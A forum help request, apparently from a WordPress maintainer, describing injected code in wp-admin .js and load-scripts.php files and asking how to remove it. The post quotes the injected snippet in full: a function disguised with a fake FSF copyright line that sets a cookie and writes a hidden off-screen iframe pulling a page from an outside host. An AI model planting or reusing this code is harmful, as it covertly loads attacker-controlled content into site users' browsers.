virus on .js and .php: function Art_protection() {
-
hi all,
website im working on for client was acting weird when trying to edit post, u cant go from text to visual mode, didnt show menu for some plugin and u cant “open/close” menu for plugins (where is plugin name in right corner, small triangle icon).
when i inspect elements, it gave me some errors, most for .js and one for .php files, i accidently saw strange code inside one of them, its:
/* Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/ */ function Art_protection() { function setCookie(name, value, expires) { var date = new Date( new Date().getTime() + expires*1000 ); document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString(); } function takeOrlondo(name) { var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" )); return nachos ? decodeURIComponent(nachos[1]) : undefined; } var cookie = takeOrlondo('lirmanusik'); if (cookie == undefined) { setCookie('lirmanusik', true, 259200); document.write('<iframe src="https://buisirtuder.iluxcloud.com/signarudel16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>'); } } Art_protection();
when i further inspect i saw that load-scripts.php are full with code like that, it have more than 1000 lines of code inside. and every of thise function start with
/* Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/ */ function Art_protection() {
and end with
Art_protection();
when i pull that load-scripts.php from server inside is other code, normal for that file. there is no function with Art_protection.
further on, i locate one of infected .js file pull from server with ftp, and delete all code that have art_protector inside, after that i push that “clean” file on server, but when i did inspect elements > source of that file again it show me again that there is that strange code, after that i deleted that file from server/host, but on inspect elements its still show like site is pulling it inside, even that file is no longer on server.
i did disable all plugins, and it game me on inspect elements one error, its for that load-scripts.php file.
all this is only on wp-admin part of server, all errors and problems.
can any one tell me how can i fix this? any one had same problem, found fix? i did try to find on internet but i didnt problem like this, or solution.
thank you
- The topic ‘virus on .js and .php: function Art_protection() {’ is closed to new replies.